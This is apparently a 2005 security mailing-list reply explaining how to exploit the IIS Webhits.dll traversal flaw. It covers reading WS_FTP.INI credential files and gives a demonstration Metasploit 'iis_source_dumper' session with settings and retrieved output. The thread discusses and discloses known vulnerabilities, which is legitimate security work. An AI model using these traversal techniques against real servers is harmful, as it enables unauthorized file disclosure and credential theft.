Re: Webhits.dll arbitrary file retrieval Vulnerability
From: H D Moore (sflist_at_digitaloffense.net)
To: firstname.lastname@example.org Date: Thu, 3 Mar 2005 17:42:05 -0600
On Thursday 03 March 2005 01:25, Maverick The Techie wrote:
> when i was doing a web server scan through Nikto on my website, it
> reported that the files "/scripts/samples/search/qfullhit.htw" &
> "/scripts/samples/search/qsumrhit.htw" are vulnerable to the
> "Webhits.dll arbitrary file retrieval Vulnerability "
There are two ways to exploit this; one uses an existenting htw file, the
other uses a non-existent file (these may actually be different issues --
its been forever since I have had to check).
> Though, i could not retrieve the sam file hashes, i still got a HTTP
> 200 Ok message,
> now Nikto also says that there is a "Ws_ftp.log" file
> on the server, now i dont have any clue on this file and its location
> on the server, some admin say that it contains the FTP user id and
> encrypted password which is way easy to crack!!,
This is incorrect. A ws_ftp.LOG file will give you a list of all files
uploaded to the server, the source address of the client, and the local
directory on the client. A ws_ftp.INI file contains the stored usernames
and obfuscated passwords. Check each subdirectory on the web server for
WS_FTP.LOG and you can discover the complete layout of the web site,
which may include non-public, debugging, or administrative features.
> now is there a way that i can access that log file through the above
> vulnerability, or any other files for that matter coz whatever files i
> have tried to access using the above way i have got nothing but HTTP
> OK messages.
Yes, you can use the webhits issue to traverse the file system and read
arbitrary files. The default location of WS_FTP.INI is usually in the
Program Files directory. Since this is a traversal vulnerability, this
depends on Program Files being on the same drive as the web root (or
virtual directory where the HTW file exists).
> I request u all to kindly explain the method to exploit this bug and
> access files, coz i am unable to exploit this vulnerability in a
> proper way so unless i know how this bug is exploited.
Browse the relevant OSVDB and SecurityFocus database entries and examine
the source code to the attached Metasploit exploit module.
msf iis_source_dumper > set RHOST 172.16.2.10
RHOST -> 172.16.2.10
msf iis_source_dumper > set RFILE /default.asp
RFILE -> /default.asp
msf iis_source_dumper > show targets
Supported Exploit Targets
0 All Techniques
1 Truncated HTR
2 NTFS ::$DATA
3 Translate: F
4 Null HTW
6 Sample HTW
7 Dot Plus HTR
8 MSADC Showcode
9 IIS 4 Showcode
msf iis_source_dumper > set TARGET 0
TARGET -> 0
msf iis_source_dumper > exploit
[*] Attempting to use the 'Truncated HTR' technique...
[*] Attempting to use the 'NTFS ::$DATA' technique...
[*] Attempting to use the 'Translate: F' technique...
[*] Attempting to use the 'Null HTW' technique...
[*] Source code obtained via technique Null HTW
HTTP/1.0 200 OK
<H2>"none" in </H2>
<BODY><a NAME="CiTag-1"> </a><h3> <font color="#FF0000"> << </font> takes
you to the previous hit. <font color="#FF0000"> >> </font> takes you to
the next hit.</b></h3>
- application/x-perl-module attachment: iis_source_dumper.pm